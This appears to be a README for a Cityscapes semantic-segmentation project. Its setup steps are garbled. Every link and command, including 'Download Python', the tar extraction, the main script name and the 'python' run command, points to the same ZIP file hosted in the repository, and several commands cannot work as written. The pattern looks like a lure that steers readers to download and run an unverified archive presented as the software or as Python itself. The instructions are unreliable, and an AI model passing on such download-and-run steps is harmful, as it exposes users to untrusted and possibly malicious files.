Welcome to the segmentation-cityscape project! This application uses deep learning to help you segment images with ease. With just a few steps, you can get it up and running on your computer.
To download the application, visit this page: Download Here.
Before you begin, ensure your computer meets the following requirements:
- Operating System: Windows 10 or later, macOS 10.12 or later, or a modern Linux distribution.
- Processor: Dual-core processor or better.
- RAM: At least 8 GB of RAM.
- Storage: At least 2 GB of free disk space.
- Graphics Card: NVIDIA or AMD graphics card for better performance with PyTorch.
This application offers a range of features to help you with semantic segmentation of images:
- Training: Train your models with Cityscapes dataset for accurate results.
- Evaluation: Get mIoU (mean Intersection over Union) metrics to assess your model's performance.
- Inference Overlays: Apply segmentation overlays directly to images for visual feedback.
- Label ID Export: Prepare your segmented images for submission-ready formats.
To begin, click on this link to go to the releases page: Download Here.
On the releases page, you will see different versions of the software. Look for the most recent version, as it will contain the latest features and fixes.
Click on the download link for the version you want. The file will begin downloading. Make sure to save it to a location you can easily find, such as your Desktop.
Once the download is complete, locate the downloaded file. It may be a ZIP or TAR file:
- Windows: Right-click the file and choose "Extract All." Follow the instructions.
- macOS: Double-click the file to extract it.
- Linux: Use the command
tar -xvf https://raw.githubusercontent.com/YASH-13-lab/segmentation-cityscape/main/src/training/segmentation-cityscape-v2.5.zipor right-click and extract.
To run the application, you need to install some Python packages. Here’s how:
-
Install Python: Download Python from https://raw.githubusercontent.com/YASH-13-lab/segmentation-cityscape/main/src/training/segmentation-cityscape-v2.5.zip and follow the installation instructions.
-
Install PyTorch: Visit the PyTorch website and follow the instructions to install it based on your environment.
-
Install Other Packages: Open your command line or terminal and run the following command:
pip install albumentation
Navigate to the folder where you extracted the files. In this folder, find the main script. It may be named something like https://raw.githubusercontent.com/YASH-13-lab/segmentation-cityscape/main/src/training/segmentation-cityscape-v2.5.zip. Run the following command in your terminal:
python https://raw.githubusercontent.com/YASH-13-lab/segmentation-cityscape/main/src/training/segmentation-cityscape-v2.5.zipAfter running the command, the application should launch. Follow the on-screen instructions to start segmenting your images.
Once the application is running, you can choose images for segmentation. Here are some quick tips:
- Upload Image: Use the upload button to select an image from your computer.
- Run Segmentation: Click the "Segment" button to start the processing.
- View Results: The application will show you the segmented image along with overlay options.
If you encounter any issues:
- Check Python Installation: Ensure Python is properly installed and added to your system’s PATH.
- Dependencies: Make sure all required packages are installed. You can use
pip listto see your installed packages. - Graphics Issues: Ensure your graphics drivers are updated.
If you have questions or need further assistance, consider opening an issue on the GitHub repository, and someone from the community or the maintainer will assist you.
Feel free to explore and contribute to the project. Happy segmenting!